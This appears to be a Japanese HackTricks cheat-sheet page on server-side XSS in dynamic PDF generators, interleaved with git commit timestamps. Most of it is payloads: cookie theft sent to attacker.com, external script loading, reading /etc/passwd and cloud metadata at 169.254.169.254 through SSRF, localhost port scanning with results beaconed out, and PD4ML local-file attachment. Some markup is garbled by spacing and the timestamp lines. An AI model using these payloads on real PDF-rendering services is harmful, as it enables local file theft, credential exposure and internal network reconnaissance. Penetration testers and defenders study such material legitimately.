2024-01-01 20:59:40 +00:00
# サーバーサイドXSS( ダイナミックPDF)
2022-04-28 16:01:33 +00:00
< details >
2024-01-01 20:59:40 +00:00
< summary > < strong > AWSハッキングをゼロからヒーローまで学ぶには< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > をご覧ください!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-01 20:59:40 +00:00
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ** ](https://peass.creator-spring.com )を入手する
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )を**フォロー**してください。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
2022-04-28 16:01:33 +00:00
< / details >
2024-01-01 20:59:40 +00:00
## サーバーサイドXSS( ダイナミックPDF)
2022-04-30 10:09:20 +00:00
2024-01-01 20:59:40 +00:00
ウェブページがユーザーの制御可能な入力を使用してPDFを作成している場合、PDFを作成している**ボットをだまして任意のJSコードを実行させる**ことができます。\
したがって、**PDF作成ボットがHTMLタグ**を見つけた場合、それらを**解釈**し、この振る舞いを**悪用してサーバーXSSを引き起こす**ことができます。
2020-07-15 15:43:14 +00:00
2024-01-01 20:59:40 +00:00
`<script></script>` タグが常に機能するわけではないので、JSを実行するための別の方法( 例えば、`< img ` を悪用する ) が必要になることに注意してください 。\
また、通常のエクスプロイトでは、**作成されたPDFを見たりダウンロードしたりすることができる**ので、`document.write()`を使用してJS経由で**書き込んだ内容を全て見ることができます**。しかし、作成されたPDFを**見ることができない**場合は、おそらく**ウェブリクエストを使って情報を抽出する**必要があります(ブラインド)。
2023-07-30 23:08:56 +00:00
2024-01-01 20:59:40 +00:00
### 人気のPDF生成ツール
2023-07-30 23:08:56 +00:00
2024-01-01 20:59:40 +00:00
* **wkhtmltopdf**: _WebKitレンダリングエンジンを使用してHTMLとCSSをPDFドキュメントに変換するオープンソースのコマンドラインツールです。_
* **TCPDF**: _画像、グラフィック、暗号化を含む幅広い機能をサポートするPDFドキュメントを生成するためのPHPライブラリです。_
* **PDFKit**: _HTMLとCSSからPDFドキュメントを生成するために使用できるNode.jsライブラリです。_
* **iText**: _デジタル署名やフォーム記入などの機能をサポートするPDFドキュメントを生成するためのJavaベースのライブラリです。_
* **FPDF**: _軽量で使いやすいPDFドキュメントを生成するためのPHPライブラリです。_
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
## ペイロード
2020-07-15 15:43:14 +00:00
2024-01-01 20:59:40 +00:00
### 発見
2020-07-15 15:43:14 +00:00
```markup
2021-09-08 08:59:37 +00:00
<!-- Basic discovery, Write somthing -->
2020-07-15 15:43:14 +00:00
< img src = "x" onerror = "document.write('test')" / >
2021-09-08 08:59:37 +00:00
< script > document . write ( JSON . stringify ( window . location ) ) < / script >
< script > document . write ( '<iframe src="' + window . location . href + '"></iframe>' ) < / script >
2020-07-15 15:43:14 +00:00
<!-- Basic blind discovery, load a resource -->
< img src = "http://attacker.com" / >
< img src = x onerror = "location.href='http://attacker.com/?c='+ document.cookie" >
< script > new Image ( ) . src = "http://attacker.com/?c=" + encodeURI ( document . cookie ) ; < / script >
< link rel = attachment href = "http://attacker.com" >
```
2022-10-02 15:25:27 +00:00
### SVG
2021-06-16 09:00:28 +00:00
2024-01-01 20:59:40 +00:00
前述のペイロードまたは以下のペイロードは、このSVGペイロード内で使用できます。例として、Burpcollabのサブドメインにアクセスするiframeと、メタデータエンドポイントにアクセスする別のiframeが配置されています。
2021-06-16 09:00:28 +00:00
```markup
< svg xmlns:xlink = "http://www.w3.org/1999/xlink" version = "1.1" class = "root" width = "800" height = "500" >
2023-07-07 23:42:27 +00:00
< g >
< foreignObject width = "800" height = "500" >
< body xmlns = "http://www.w3.org/1999/xhtml" >
< iframe src = "http://redacted.burpcollaborator.net" width = "800" height = "500" > < / iframe >
< iframe src = "http://169.254.169.254/latest/meta-data/" width = "800" height = "500" > < / iframe >
< / body >
< / foreignObject >
< / g >
2021-06-16 09:00:28 +00:00
< / svg >
2022-04-30 10:09:20 +00:00
< svg width = "100%" height = "100%" viewBox = "0 0 100 100"
2023-07-07 23:42:27 +00:00
xmlns="http://www.w3.org/2000/svg">
< circle cx = "50" cy = "50" r = "45" fill = "green"
id="foo"/>
< script type = "text/javascript" >
// < ![CDATA[
alert(1);
// ]]>
< / script >
2022-04-30 10:09:20 +00:00
< / svg >
2021-06-16 09:00:28 +00:00
```
2024-01-01 20:59:40 +00:00
以下の**他のSVGペイロード**は [**https://github.com/allanlw/svg-cheatsheet** ](https://github.com/allanlw/svg-cheatsheet ) で見つけることができます。
2021-06-16 09:00:28 +00:00
2024-01-01 20:59:40 +00:00
### パス開示
2020-07-15 15:43:14 +00:00
```markup
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
< img src = "x" onerror = "document.write(window.location)" / >
< script > document . write ( window . location ) < / script >
```
2023-07-07 23:42:27 +00:00
### 外部スクリプトの読み込み
2020-07-15 15:43:14 +00:00
2024-01-01 20:59:40 +00:00
この脆弱性を悪用する最も適切な方法は、ローカルで制御するスクリプトを読み込ませることです。そうすることで、ペイロードをローカルで変更し、同じコードを使って毎回botに読み込ませることができます。
2020-07-15 15:43:14 +00:00
```markup
< script src = "http://attacker.com/myscripts.js" > < / script >
< img src = "xasdasdasd" onerror = "document.write('<script src=" https: / / attacker . com / test . js " > < / script > ')"/>
```
2023-07-30 23:08:56 +00:00
### ローカルファイルの読み取り / SSRF
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
{% hint style="warning" %}
2024-01-01 20:59:40 +00:00
`file:///etc/passwd` を `http://169.254.169.254/latest/user-data` に変更して、例として**外部のウェブページにアクセスを試みる (SSRF)**。
2020-07-15 15:43:14 +00:00
2024-01-01 20:59:40 +00:00
SSRFが許可されているが、興味深いドメインやIPに**到達できない**場合は、[潜在的なバイパスのためにこのページをチェックしてください](../ssrf-server-side-request-forgery/url-format-bypass.md)。
2023-07-30 23:08:56 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
```markup
< script >
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
2021-09-08 08:59:37 +00:00
< / script >
```
```markup
< script >
2023-07-07 23:42:27 +00:00
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
2021-09-08 08:59:37 +00:00
< / script >
2020-07-15 15:43:14 +00:00
```
```markup
< iframe src = file:///etc/passwd > < / iframe >
< img src = "xasdasdasd" onerror = "document.write('<iframe src=file:///etc/passwd></iframe>')" / >
< link rel = attachment href = "file:///root/secret.txt" >
2020-11-04 10:26:58 +00:00
< object data = "file:///etc/passwd" >
< portal src = "file:///etc/passwd" id = portal >
2023-07-30 23:08:56 +00:00
< embed src = "file:///etc/passwd>" width = "400" height = "400" >
< style > < i f r a m e s r c = " f i l e : / / / e t c / p a s s w d " >
< img src = 'x' onerror = 'document.write(' < iframe src = file:///etc/passwd > < / iframe > ')'/>& text=& width=500& height=500
< meta http-equiv = "refresh" content = "0;url=file:///etc/passwd" / >
2020-07-15 15:43:14 +00:00
```
2022-07-06 02:55:19 +00:00
```markup
< annotation file = "/etc/passwd" content = "/etc/passwd" icon = "Graph" title = "Attached File: /etc/passwd" pos-x = "195" / >
```
2024-01-01 20:59:40 +00:00
### ボット遅延
2020-07-15 15:43:14 +00:00
```markup
<!-- Make the bot send a ping every 500ms to check how long does the bot wait -->
< script >
2023-07-07 23:42:27 +00:00
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms` ;
time += 500;
}, 500);
2020-07-15 15:43:14 +00:00
< / script >
< img src = "https://attacker.com/delay" >
```
2023-07-07 23:42:27 +00:00
### ポートスキャン
2020-07-15 15:43:14 +00:00
```markup
<!-- Scan local port and receive a ping indicating which ones are found -->
< script >
const checkPort = (port) => {
2023-07-07 23:42:27 +00:00
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}` ;
});
2020-07-15 15:43:14 +00:00
}
for(let i=0; i< 1000 ; i + + ) {
2023-07-07 23:42:27 +00:00
checkPort(i);
2020-07-15 15:43:14 +00:00
}
< / script >
< img src = "https://attacker.com/startingScan" >
```
2022-10-02 15:25:27 +00:00
### [SSRF](../ssrf-server-side-request-forgery/)
2020-07-15 15:43:14 +00:00
2024-01-01 20:59:40 +00:00
この脆弱性は非常に簡単にSSRFに変換することができます( スクリプトが外部リソースを読み込むことができるため) 。それを利用してみてください( メタデータを読むなど? ) 。
2020-07-15 15:43:14 +00:00
2024-01-01 20:59:40 +00:00
### 添付ファイル: PD4ML
2022-12-27 12:57:39 +00:00
2024-01-01 20:59:40 +00:00
PDFに**添付ファイルを指定する**ことを許可するHTML 2 PDFエンジンがいくつかあります。例えば、**PD4ML**です。この機能を悪用して、**任意のローカルファイルをPDFに添付**することができます。\
添付ファイルを開くために、**Firefoxでファイルを開き、クリップシンボルをダブルクリックして**、添付ファイルを新しいファイルとして**保存しました**。\
Burpで**PDFレスポンスをキャプチャする**と、PDF内で添付ファイルが**クリアテキストで表示される**はずです。
2022-12-27 12:57:39 +00:00
{% code overflow="wrap" %}
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb - bucket.html -->
< html > < pd4ml:attachment src = "/etc/passwd" description = "attachment sample" icon = "Paperclip" / > < / html >
```
2023-07-07 23:42:27 +00:00
## 参考文献
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html ](https://lbherrera.github.io/lab/h1415-ctf-writeup.html )
* [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/ ](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/ )
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html ](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html )
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c ](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c )
2020-07-15 15:43:14 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-01-01 20:59:40 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ< / strong > < / summary >
HackTricksをサポートする他の方法:
2022-04-28 16:01:33 +00:00
2024-01-01 20:59:40 +00:00
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ** ](https://peass.creator-spring.com )を手に入れる
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )で**フォローする**。
* [**HackTricks** ](https://github.com/carlospolop/hacktricks )と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
2022-04-28 16:01:33 +00:00
< / details >